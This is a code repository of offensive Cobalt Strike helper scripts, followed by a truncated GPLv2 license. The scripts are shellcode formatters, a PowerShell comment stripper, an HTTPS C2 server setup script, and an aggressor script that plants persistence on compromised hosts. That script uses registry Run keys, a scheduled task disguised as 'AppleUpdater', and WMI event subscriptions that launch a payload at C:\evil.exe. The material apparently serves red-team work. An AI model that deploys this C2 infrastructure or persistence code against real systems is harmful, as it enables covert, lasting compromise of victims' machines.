├── Cobalt Scripts ├── remove_comments.py ├── shellcode_formatter.ps1 ├── shellcode_formatter.py ├── httpsc2doneright.sh └── persist_assist.cna └── LICENSE /Cobalt Scripts/remove_comments.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | #remove comments from PowerShell scripts 4 | currently_code = True 5 | 6 | with open('/root/Downloads/powersql.ps1', 'r') as readtest: 7 | psup_contents = readtest.readlines() 8 | 9 | with open('/root/Downloads/stripped.ps1', 'w') as removed: 10 | for line in psup_contents: 11 | line = line.lstrip() 12 | 13 | if line.startswith("#") and not line.startswith("#>"): 14 | pass 15 | 16 | elif line.startswith("<#"): 17 | currently_code = False 18 | 19 | elif line.startswith('\n'): 20 | pass 21 | 22 | elif line.startswith("#>"): 23 | currently_code = True 24 | 25 | else: 26 | if currently_code: 27 | removed.write(line) 28 | 29 | -------------------------------------------------------------------------------- /Cobalt Scripts/shellcode_formatter.ps1: -------------------------------------------------------------------------------- 1 | $fileName = "C:\Users\User\Desktop\payload.bin" 2 | $fileContent = [IO.File]::ReadAllBytes($fileName) 3 | $filecontentsencoded = [convert]::ToBase64String($fileContent) 4 | "Binary Blob base64 encoded:`n`n" + $filecontentsencoded | set-content ($fileName + ".b64") 5 | 6 | $scformat = '\x' + (($fileContent | ForEach-Object ToString x2) -join '\x') 7 | "`nStandard shellcode format:`n`n" + $scformat | add-content ($fileName + ".b64") 8 | 9 | $csharpformat = '0x' + (($fileContent | ForEach-Object ToString x2 | ForEach-Object { $_ + ',' }) -join '0x') 10 | $csharpformat = $csharpformat.SubString(0, $csharpformat.Length-1) 11 | "`nC# formatted shellcode:`n`n" + $csharpformat | add-content ($fileName + ".b64") 12 | 13 | $Bytes = [System.Text.Encoding]::UTF8.GetBytes($csharpformat) 14 | $EncodedText =[Convert]::ToBase64String($Bytes) 15 | "`nBase64 Encoded C# shellcode:`n`n" + $EncodedText | add-content ($fileName + ".b64") 16 | 17 | $fsharpformat = '0x' + (($fileContent | ForEach-Object ToString x2 | ForEach-Object { $_ + 'uy;' }) -join '0x') 18 | $fsharpformat = $fsharpformat.SubString(0, $fsharpformat.Length-1) 19 | "`nF# formatted shellcode:`n`n" + $fsharpformat | add-content ($fileName + ".b64") -------------------------------------------------------------------------------- /Cobalt Scripts/shellcode_formatter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import base64 3 | 4 | # Edit this line with the path to the binary file containing shellcode you are converting 5 | with open('/home/user/Downloads/payload.bin', 'rb') as sc_handle: 6 | sc_data = sc_handle.read() 7 | 8 | # Just raw binary blog base64 encoded 9 | encoded_raw = base64.b64encode(sc_data) 10 | 11 | # Print in "standard" shellcode format \x41\x42\x43.... 12 | binary_code = '' 13 | fs_code = '' 14 | for byte in sc_data: 15 | binary_code += "\\x" + hex(byte)[2:].zfill(2) 16 | # this is for f# 17 | fs_code += "0x" + hex(byte)[2:].zfill(2) + "uy;" 18 | 19 | # Convert this into a C# style shellcode format 20 | cs_shellcode = "0" + ",0".join(binary_code.split("\\")[1:]) 21 | 22 | # Base 64 encode the C# code (for use with certain payloads :)) 23 | encoded_cs = base64.b64encode(cs_shellcode.encode()) 24 | 25 | # Write out the files to disk (edit this path as needed) 26 | with open('formatted_shellcode.txt', 'w') as format_out: 27 | format_out.write("Binary Blob base64 encoded:\n\n") 28 | format_out.write(encoded_raw.decode('ascii')) 29 | format_out.write("\n\nStandard shellcode format:\n\n") 30 | format_out.write(binary_code) 31 | format_out.write("\n\nC# formatted shellcode:\n\n") 32 | format_out.write(cs_shellcode) 33 | format_out.write("\n\nBase64 Encoded C# shellcode:\n\n") 34 | format_out.write(encoded_cs.decode('ascii')) 35 | format_out.write("\n\nF# Shellcode:\n\n") 36 | format_out.write(fs_code) 37 | format_out.write("\n") 38 | -------------------------------------------------------------------------------- /Cobalt Scripts/httpsc2doneright.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Refs: 3 | # http://stackoverflow.com/questions/11617210/how-to-properly-import-a-selfsigned-certificate-into-java-keystore-that-is-avail 4 | # https://www.digitalocean.com/community/tutorials/how-to-secure-apache-with-let-s-encrypt-on-ubuntu-14-04 5 | # http://www.advancedpentest.com/help-malleable-c2 6 | # https://maximilian-boehm.com/hp2121/Create-a-Java-Keystore-JKS-from-Let-s-Encrypt-Certificates.htm 7 | 8 | # This script was originally written by Alex, but certbot changed and the public script didn't work anymore 9 | # I updated this script to work again, hope it helps 10 | 11 | # Global Variables 12 | runuser=$(whoami) 13 | tempdir=$(pwd) 14 | # Echo Title 15 | clear 16 | echo '==========================================================================' 17 | echo ' HTTPS C2 Done Right Setup Script | [Updated]: 2022 by @ChrisTruncer' 18 | echo '==========================================================================' 19 | echo ' Originally Written by Alex Rymdeko-Harvey | [Twitter]: @KillSwitch-GUI' 20 | echo '==========================================================================' 21 | echo ' [Web]: Https://redsiege.com | [Twitter]: @RedSiege' 22 | echo '==========================================================================' 23 | 24 | 25 | echo -n "Enter your DNS (A) record for domain [ENTER]: " 26 | read domain 27 | echo 28 | 29 | echo -n "Enter your common password to be used [ENTER]: " 30 | read password 31 | echo 32 | 33 | echo -n "Enter your CobaltStrike server location [ENTER]: " 34 | read cobaltStrike 35 | echo 36 | 37 | domainPkcs="$domain.p12" 38 | domainStore="$domain.store" 39 | cobaltStrikeProfilePath="$cobaltStrike/httpsProfile" 40 | 41 | 42 | # Environment Checks 43 | func_check_env(){ 44 | # Check Sudo Dependency going to need that! 45 | if [ $(id -u) -ne '0' ]; then 46 | echo 47 | echo ' [ERROR]: This Setup Script Requires root privileges!' 48 | echo ' Please run this setup script again with sudo or run as login as root.' 49 | echo 50 | exit 1 51 | fi 52 | } 53 | 54 | func_check_tools(){ 55 | # Check Sudo Dependency going to need that! 56 | if [ $(which keytool) ]; then 57 | echo '[Sweet] java keytool is installed' 58 | else 59 | echo 60 | echo ' [ERROR]: keytool does not seem to be installed, installing now...' 61 | sudo apt-get install -y default-jre 62 | echo ' Java (and keytool) is now installed' 63 | echo 64 | fi 65 | if [ $(which openssl) ]; then 66 | echo '[Sweet] openssl keytool is installed' 67 | else 68 | echo 69 | echo ' [ERROR]: openssl does not seem to be installed' 70 | echo 71 | exit 1 72 | fi 73 | if [ $(which git) ]; then 74 | echo '[Sweet] git keytool is installed' 75 | else 76 | echo 77 | echo ' [ERROR]: git does not seem to be installed' 78 | sudo apt-get -y install git 79 | echo 'Git is now installed' 80 | fi 81 | } 82 | 83 | func_apache_check(){ 84 | # Check Sudo Dependency going to need that! 85 | 86 | # if [ sudo lsof -nPi | grep ":80 (LISTEN)" ]; then 87 | # echo 88 | # echo ' [ERROR]: This Setup Script Requires that port!' 89 | # echo ' 80 not be in use.' 90 | # echo 91 | # exit 1 92 | if [ $(which java) ]; then 93 | echo '[Sweet] java is already installed' 94 | echo 95 | else 96 | apt-get update 97 | apt-get install default-jre -y 98 | echo '[Success] java is now installed' 99 | echo 100 | fi 101 | if [ $(which lsof) ]; then 102 | echo '[Sweet] lsof is already installed' 103 | echo 104 | else 105 | apt-get update 106 | apt-get install lsof 107 | echo '[Success] lsof is now installed' 108 | echo 109 | fi 110 | if [ $(which apache2) ]; then 111 | echo '[Sweet] Apache2 is already installed' 112 | service apache2 start 113 | echo 114 | else 115 | apt-get update 116 | apt-get install apache2 -y 117 | echo '[Success] Apache2 is now installed' 118 | echo 119 | service apache2 restart 120 | service apache2 start 121 | fi 122 | if [ $(lsof -nPi | grep -i apache | grep -c ":80 (LISTEN)") -ge 1 ]; then 123 | echo '[Success] Apache2 is up and running!' 124 | else 125 | echo 126 | echo ' [ERROR]: Apache2 does not seem to be running on' 127 | echo ' port 80? Try manual start?' 128 | echo 129 | exit 1 130 | fi 131 | if [ $(which ufw) ]; then 132 | echo 'Looks like UFW is installed, opening ports 80 and 443' 133 | ufw allow 80/tcp 134 | ufw allow 443/tcp 135 | echo 136 | fi 137 | } 138 | 139 | func_install_letsencrypt(){ 140 | sudo apt-get install -y certbot python3-certbot-apache 141 | sudo certbot --authenticator standalone --installer apache -d $domain --pre-hook "service apache2 stop" --post-hook "service apache2 start" --non-interactive --agree-tos -m admin@$domain 142 | if [ -e /etc/letsencrypt/live/$domain/fullchain.pem ]; then 143 | echo '[Success] letsencrypt certs are built!' 144 | else 145 | echo "[ERROR] letsencrypt certs failed to build. Check that DNS A record is properly configured for this domain" 146 | exit 1 147 | fi 148 | } 149 | 150 | func_build_pkcs(){ 151 | cd /etc/letsencrypt/live/$domain 152 | echo '[Starting] Building PKCS12 .p12 cert.' 153 | openssl pkcs12 -export -in fullchain.pem -inkey privkey.pem -out $domainPkcs -name $domain -passout pass:$password 154 | echo '[Success] Built $domainPkcs PKCS12 cert.' 155 | echo '[Starting] Building Java keystore via keytool.' 156 | keytool -importkeystore -deststorepass $password -destkeypass $password -destkeystore $domainStore -srckeystore $domainPkcs -srcstoretype PKCS12 -srcstorepass $password -alias $domain 157 | echo '[Success] Java keystore $domainStore built.' 158 | mkdir $cobaltStrikeProfilePath 159 | cp $domainStore $cobaltStrikeProfilePath 160 | echo '[Success] Moved Java keystore to CS profile Folder.' 161 | } 162 | 163 | func_build_c2(){ 164 | cd $cobaltStrikeProfilePath 165 | echo '[Starting] Cloning into amazon.profile for testing.' 166 | wget https://raw.githubusercontent.com/rsmudge/Malleable-C2-Profiles/master/normal/amazon.profile --no-check-certificate -O amazon.profile 167 | echo '[Success] amazon.profile clonned.' 168 | echo '[Starting] Adding java keystore / password to amazon.profile.' 169 | echo " " >> amazon.profile 170 | echo 'https-certificate {' >> amazon.profile 171 | echo set keystore \"$domainStore\"\; >> amazon.profile 172 | echo set password \"$password\"\; >> amazon.profile 173 | echo '}' >> amazon.profile 174 | echo '[Success] amazon.profile updated with HTTPs settings.' 175 | } 176 | # Menu Case Statement 177 | case $1 in 178 | *) 179 | func_check_env 180 | func_check_tools 181 | func_apache_check 182 | func_install_letsencrypt 183 | func_build_pkcs 184 | func_build_c2 185 | ;; 186 | esac 187 | -------------------------------------------------------------------------------- /Cobalt Scripts/persist_assist.cna: -------------------------------------------------------------------------------- 1 | # Thanks to bluescreenofjeff for his awesome scripts that act as reference! 2 | ############################################################################################################################################################## 3 | ######################################################### Global Variables ################################################################################### 4 | ############################################################################################################################################################## 5 | 6 | # Global Variables 7 | %globalsettings['RegHive'] = 'HKCU'; 8 | %globalsettings['RegPath'] = '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run'; 9 | %globalsettings['RegValue'] = 'RandomKeyDFIR'; 10 | %globalsettings['PayloadPath'] = 'C:\\evil.exe'; 11 | %globalsettings['Action'] = 'Add'; 12 | %globalsettings['TaskName'] = 'AppleUpdater'; 13 | %globalsettings['TaskTrigger'] = 'HOURLY'; 14 | %globalsettings['TaskTime'] = '03:45:50'; 15 | %globalsettings['WMIName'] = 'AppleUpdater'; 16 | 17 | ############################################################################################################################################################## 18 | ################################################# Registry Persistence Section ############################################################################### 19 | ############################################################################################################################################################## 20 | 21 | # Registry Persistence Section 22 | 23 | sub add_regkey { 24 | # PowerShell command to run 25 | $ppick_add = 'New-ItemProperty -Path "' . $2['RegHive'] . ":" . $2['RegPath'] . '" -Name "' . $2['RegValue'] . '" -PropertyType String -Value "' . $2['PayloadPath'] . '"'; 26 | 27 | if(-isadmin $1) { 28 | binput($1, "Installing registry persistence"); 29 | bpowerpick($1, $ppick_add); 30 | } 31 | else { 32 | $lc_hive = lc($2['RegHive']); 33 | if ($lc_hive hasmatch "hklm") { 34 | berror($1, "You can't write to HKLM without admin rights!"); 35 | } 36 | else { 37 | binput($1, "Installing registry persistence"); 38 | bpowerpick($1, $ppick_add); 39 | } 40 | } 41 | } 42 | 43 | sub remove_regkey { 44 | $ppick_remove = 'Remove-ItemProperty -Path "' . $2['RegHive'] . ":" . $2['RegPath'] . '" -Name "' . $2['RegValue'] . '"'; 45 | if(-isadmin $1) { 46 | binput($1, "Removing Registry Persistence"); 47 | bpowerpick($1, $ppick_remove); 48 | } 49 | else { 50 | $lc_hive = lc($2['RegHive']); 51 | if ($lc_hive hasmatch "hklm") { 52 | berror($1, "You can't remove from HKLM without admin rights!"); 53 | } 54 | else { 55 | binput($1, "Removing registry persistence"); 56 | bpowerpick($1, $ppick_remove); 57 | } 58 | } 59 | } 60 | 61 | sub reg_method { 62 | # Find the proper beacon ID to use 63 | foreach $beacon (beacons()) { 64 | if ($3['Target'] eq $beacon['pid']) { 65 | $incoming_regmethod = lc($3['Action']); 66 | if ($incoming_regmethod eq 'add') { 67 | add_regkey($beacon['id'], $3); 68 | } 69 | else if ($incoming_regmethod eq 'remove') { 70 | remove_regkey($beacon['id'], $3); 71 | } 72 | else { 73 | berror($1, 'You did not provide a valid action to take! [Add] or [Remove]!'); 74 | println('hit error block'); 75 | } 76 | } 77 | } 78 | clear($3); 79 | } 80 | 81 | sub reg_persistence { 82 | # Get all process IDs of selected beacons 83 | @total_proc_ids = @(); 84 | foreach $beacon (beacons()) { 85 | add(@total_proc_ids, $beacon['pid']); 86 | } 87 | 88 | $dialogbox = dialog("Registry Persistence", %(RegHive => %globalsettings['RegHive'], RegPath => %globalsettings['RegPath'], RegValue => %globalsettings['RegValue'], PayloadPath => %globalsettings['PayloadPath'], Action => %globalsettings['Action'], Target => @total_proc_ids), ®_method); 89 | dialog_description($dialogbox, "Set or remove registry based persistence"); 90 | 91 | drow_text($dialogbox, "RegHive", "Registry Hive:"); 92 | drow_text($dialogbox, "RegPath", "Registry Path:"); 93 | drow_text($dialogbox, "RegValue", "Registry Value:"); 94 | drow_text($dialogbox, "PayloadPath", "Payload:"); 95 | drow_combobox($dialogbox, "Action", "Add or Remove:", @('Add', 'Remove')); 96 | drow_combobox($dialogbox, "Target", "Targeted System (PID):", @total_proc_ids); 97 | dbutton_action($dialogbox, "Launch"); 98 | 99 | dialog_show($dialogbox); 100 | clear(@total_proc_ids); 101 | } 102 | 103 | ############################################################################################################################################################## 104 | ###################################################### Scheduled Task Section ################################################################################ 105 | ############################################################################################################################################################## 106 | 107 | # Scheduled task section 108 | 109 | sub add_task { 110 | # PowerShell command to run 111 | $shell_add = 'schtasks /create /tn "' . $2['TaskName'] . '" /tr "' . $2['Payload'] . '" /sc ' . $2['TaskTrigger'] . ' /st ' . $2['TaskTime']; 112 | 113 | # Create the task 114 | binput($1, "Installing scheduled task persistence"); 115 | bpowerpick($1, $shell_add); 116 | } 117 | 118 | sub remove_task { 119 | $shell_remove = 'schtasks /delete /tn "' . $2['TaskName'] . '" /F'; 120 | 121 | # Delete the task 122 | binput($1, "Removing scheduled task persistence"); 123 | bpowerpick($1, $shell_remove); 124 | } 125 | 126 | sub sch_task_persistence { 127 | # Get all process IDs of selected beacons 128 | @total_proc_ids = @(); 129 | foreach $beacon (beacons()) { 130 | add(@total_proc_ids, $beacon['pid']); 131 | } 132 | 133 | $dialogbox = dialog("Scheduled Task Persistence", %(TaskName => %globalsettings['TaskName'], TaskTime => %globalsettings['TaskTime'], Payload => %globalsettings['PayloadPath'], TaskTrigger => %globalsettings['TaskTrigger'], Action => %globalsettings['Action'], Target => $1), &task_method); 134 | 135 | drow_text($dialogbox, "TaskName", "Scheduled Task Name:"); 136 | drow_text($dialogbox, "TaskTime", "Scheduled Task Trigger Time:"); 137 | drow_text($dialogbox, "TaskTrigger", "Scheduled Task Trigger:"); 138 | drow_text($dialogbox, "Payload", "Payload:"); 139 | drow_combobox($dialogbox, "Action", "Add or Remove:", @('Add', 'Remove')); 140 | drow_combobox($dialogbox, "Target", "Targeted System (PID):", @total_proc_ids); 141 | dbutton_action($dialogbox, "Launch"); 142 | 143 | dialog_show($dialogbox); 144 | clear(@total_proc_ids); 145 | } 146 | 147 | sub task_method { 148 | # Find the proper beacon ID to use 149 | foreach $beacon (beacons()) { 150 | if ($3['Target'] eq $beacon['pid']) { 151 | $incoming_taskmethod = lc($3['Action']); 152 | if ($incoming_taskmethod eq 'add') { 153 | add_task($beacon['id'], $3); 154 | } 155 | else if ($incoming_taskmethod eq 'remove') { 156 | remove_task($beacon['id'], $3); 157 | } 158 | else { 159 | berror($1, 'You did not provide a valid action to take! [Add] or [Remove]!'); 160 | println('hit error block'); 161 | } 162 | } 163 | } 164 | clear($3); 165 | } 166 | 167 | ############################################################################################################################################################## 168 | ########################################################### WMI Based Persistence ############################################################################ 169 | ############################################################################################################################################################## 170 | 171 | # WMI based persistence 172 | 173 | sub add_wmi { 174 | if(-isadmin $1) { 175 | # PowerShell command to run 176 | $wmi_add = "\$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='" . $2['WMIName'] . "';EventNameSpace='root\\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 201 AND TargetInstance.SystemUpTime < 323\"};\$Consumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace \"root\\subscription\" -Arguments @{Name='" . $2['WMIName'] . "';CommandLineTemplate ='" . $2['Payload'] . "'};Set-WmiInstance -Namespace \"root\\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=\$Filter;Consumer=\$Consumer};"; 177 | 178 | # Install WMI persistence 179 | binput($1, "Installing wmi persistence"); 180 | bpowerpick($1, $wmi_add); 181 | } 182 | else { 183 | berror($1, "You can't install WMI persistence without admin rights!"); 184 | } 185 | } 186 | 187 | sub remove_wmi { 188 | if(-isadmin $1) { 189 | $wmi_remove1 = "Get-WmiObject __eventFilter -namespace root\\subscription -filter \"name='" . $2['WMIName'] . "'\"| Remove-WmiObject"; 190 | $wmi_remove2 = "Get-WmiObject CommandLineEventConsumer -Namespace root\\subscription -filter \"name='" . $2['WMIName'] . "'\" | Remove-WmiObject"; 191 | $wmi_remove3 = "Get-WmiObject __FilterToConsumerBinding -Namespace root\\subscription | Where-Object { \$_.filter -match '" . $2['WMIName'] . "'} | Remove-WmiObject"; 192 | 193 | # Delete wmi persistence 194 | binput($1, "Removing wmi persistence"); 195 | bpowerpick($1, $wmi_remove1); 196 | bpowerpick($1, $wmi_remove2); 197 | bpowerpick($1, $wmi_remove3); 198 | } 199 | else { 200 | berror($1, "You can't remove WMI persistence without admin rights!"); 201 | } 202 | 203 | } 204 | 205 | sub wmi_persistence { 206 | # Get all process IDs of selected beacons 207 | @total_proc_ids = @(); 208 | foreach $beacon (beacons()) { 209 | add(@total_proc_ids, $beacon['pid']); 210 | } 211 | 212 | $dialogbox = dialog("WMI Persistence", %(WMIName => %globalsettings['WMIName'], Payload => %globalsettings['PayloadPath'], Action => %globalsettings['Action'], Target => $1), &wmi_method); 213 | 214 | drow_text($dialogbox, "WMIName", "WMI Name:"); 215 | drow_text($dialogbox, "Payload", "Payload:"); 216 | drow_combobox($dialogbox, "Action", "Add or Remove:", @('Add', 'Remove')); 217 | drow_combobox($dialogbox, "Target", "Targeted System (PID):", @total_proc_ids); 218 | dbutton_action($dialogbox, "Launch"); 219 | 220 | dialog_show($dialogbox); 221 | clear(@total_proc_ids); 222 | } 223 | 224 | sub wmi_method { 225 | # Find the proper beacon ID to use 226 | foreach $beacon (beacons()) { 227 | if ($3['Target'] eq $beacon['pid']) { 228 | $incoming_taskmethod = lc($3['Action']); 229 | if ($incoming_taskmethod eq 'add') { 230 | add_wmi($beacon['id'], $3); 231 | } 232 | else if ($incoming_taskmethod eq 'remove') { 233 | remove_wmi($beacon['id'], $3); 234 | } 235 | else { 236 | berror($1, 'You did not provide a valid action to take! [Add] or [Remove]!'); 237 | println('hit error block'); 238 | } 239 | } 240 | } 241 | clear($3); 242 | } 243 | 244 | ############################################################################################################################################################## 245 | ########################################################### Pop-Up Menu Section ############################################################################## 246 | ############################################################################################################################################################## 247 | 248 | # Pop-up Menu Section 249 | 250 | popup beacon_bottom { 251 | item "Registry Persistence" { 252 | reg_persistence($1); 253 | } 254 | item "Scheduled Task Persistence" { 255 | sch_task_persistence($1); 256 | } 257 | item "WMI Persistence" { 258 | wmi_persistence($1); 259 | } 260 | } -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 2, June 1991 3 | 4 | Copyright (C) 1989, 1991 Free Software Foundation, Inc., 5 | 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA 6 | Everyone is permitted to copy and distribute verbatim copies 7 | of this license document, but changing it is not allowed. 8 | 9 | Preamble 10 | 11 | The licenses for most software are designed to take away your 12 | freedom to share and change it. By contrast, the GNU General Public 13 | License is intended to guarantee your freedom to share and change free 14 | software--to make sure the software is free for all its users. This 15 | General Public License applies to most of the Free Software 16 | Foundation's software and to any other program whose authors commit to 17 | using it. (Some other Free Software Foundation software is covered by 18 | the GNU Lesser General Public License instead.) You can apply it to 19 | your programs, too. 20 | 21 | When we speak of free software, we are referring to freedom, not 22 | price. Our General Public Licenses are designed to make sure that you 23 | have the freedom to distribute copies of free software (and charge for 24 | this service if you wish), that you receive source code or can get it 25 | if you want it, that you can change the software or use pieces of it 26 | in new free programs; and that you know you can do these things. 27 | 28 | To protect your rights, we need to make restrictions that forbid 29 | anyone to deny you these rights or to ask you to surrender the rights. 30 | These restrictions translate to certain responsibilities for you if you 31 | distribute copies of the software, or if you modify it. 32 | 33 | For example, if you distribute copies of such a program, whether 34 | gratis or for a fee, you must give the recipients all the rights that 35 | you have. You must make sure that they, too, receive or can get the 36 | source code. And you must show them these terms so they know their 37 | rights. 38 | 39 | We protect your rights with two steps: (1) copyright the software, and 40 | (2) offer you this license which gives you legal permission to copy, 41 | distribute and/or modify the software. 42 | 43 | Also, for each author's protection and ours, we want to make certain 44 | that everyone understands that there is no warranty for this free 45 | software. If the software is modified by someone else and passed on, we 46 | want its recipients to know that what they have is not the original, so 47 | that any problems introduced by others will not reflect on the original 48 | authors' reputations. 49 | 50 | Finally, any free program is threatened constantly by software 51 | patents. We wish to avoid the danger that redistributors of a free 52 | program will individually obtain patent licenses, in effect making the 53 | program proprietary. To prevent this, we have made it clear that any 54 | patent must be licensed for everyone's free use or not licensed at all. 55 | 56 | The precise terms and conditions for copying, distribution and 57 | modification follow. 58 | 59 | GNU GENERAL PUBLIC LICENSE 60 | TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION 61 | 62 | 0. This License applies to any program or other work which contains 63 | a notice placed by the copyright holder saying it may be distributed 64 | under the terms of this General Public License. The "Program", below, 65 | refers to any such program or work, and a "work based on the Program" 66 | means either the Program or any derivative work under copyright law: 67 | that is to say, a work containing the Program or a portion of it, 68 | either verbatim or with modifications and/or translated into another 69 | language. (Hereinafter, translation is included without limitation in 70 | the term "modification".) Each licensee is addressed as "you". 71 | 72 | Activities other than copying, distribution and modification are not 73 | covered by this License; they are outside its scope. The act of 74 | running the Program is not restricted, and the output from the Program 75 | is covered only if its contents constitute a work based on the 76 | Program (independent of having been made by running the Program). 77 | Whether that is true depends on what the Program does. 78 | 79 | 1. You may copy and distribute verbatim copies of the Program's 80 | source code as you receive it, in any medium, provided that you 81 | conspicuously and appropriately publish on each copy an appropriate 82 | copyright notice and disclaimer of warranty; keep intact all the 83 | notices that refer to this License and to the absence of any warranty; 84 | and give any other recipients of the Program a copy of this License 85 | along with the Program. 86 | 87 | You may charge a fee for the physical act of transferring a copy, and 88 | you may at your option offer warranty protection in exchange for a fee. 89 | 90 | 2. You may modify your copy or copies of the Program or any portion 91 | of it, thus forming a work based on the Program, and copy and 92 | distribute such modifications or work under the terms of Section 1 93 | above, provided that you also meet all of these conditions: 94 | 95 | a) You must cause the modified files to carry prominent notices 96 | stating that you changed the files and the date of any change. 97 | 98 | b) You must cause any work that you distribute or publish, that in 99 | whole or in part contains or is derived from the Program or any 100 | part thereof, to be licensed as a whole at no charge to all third 101 | parties under the terms of this License. 102 | 103 | c) If the modified program normally reads commands interactively 104 | when run, you must cause it, when started running for such 105 | interactive use in the most ordinary way, to print or display an 106 | announcement including an appropriate copyright notice and a 107 | notice that there is no warranty (or else, saying that you provide 108 | a warranty) and that users may redistribute the program under 109 | these conditions, and telling the user how to view a copy of this 110 | License. (Exception: if the Program itself is interactive but 111 | does not normally print such an announcement, your work based on 112 | the Program is not required to print an announcement.) 113 | 114 | These requirements apply to the modified work as a whole. If 115 | identifiable sections of that work are not derived from the Program, 116 | and can be reasonably considered independent and separate works in 117 | themselves, then this License, and its terms, do not apply to those 118 | sections when you distribute them as separate works. But when you 119 | distribute the same sections as part of a whole which is a work based 120 | on the Program, the distribution of the whole must be on the terms of 121 | this License, whose permissions for other licensees extend to the 122 | entire whole, and thus to each and every part regardless of who wrote it. 123 | 124 | Thus, it is not the intent of this section to claim rights or contest 125 | your rights to work written entirely by you; rather, the intent is to 126 | exercise the right to control the distribution of derivative or 127 | collective works based on the Program. 128 | 129 | In addition, mere aggregation of another work not based on the Program 130 | with the Program (or with a work based on the Program) on a volume of 131 | a storage or distribution medium does not bring the other work under 132 | the scope of this License. 133 | 134 | 3. You may copy and distribute the Program (or a work based on it, 135 | under Section 2) in object code or executable form under the terms of 136 | Sections 1 and 2 above provided that you also do one of the following: 137 | 138 | a) Accompany it with the complete corresponding machine-readable 139 | source code, which must be distributed under the terms of Sections 140 | 1 and 2 above on a medium customarily used for software interchange; or, 141 | 142 | b) Accompany it with a written offer, valid for at least three 143 | years, to give any third party, for a charge no more than your 144 | cost of physically performing source distribution, a complete 145 | machine-readable copy of the corresponding source code, to be 146 | distributed under the terms of Sections 1 and 2 above on a medium 147 | customarily used for software interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO 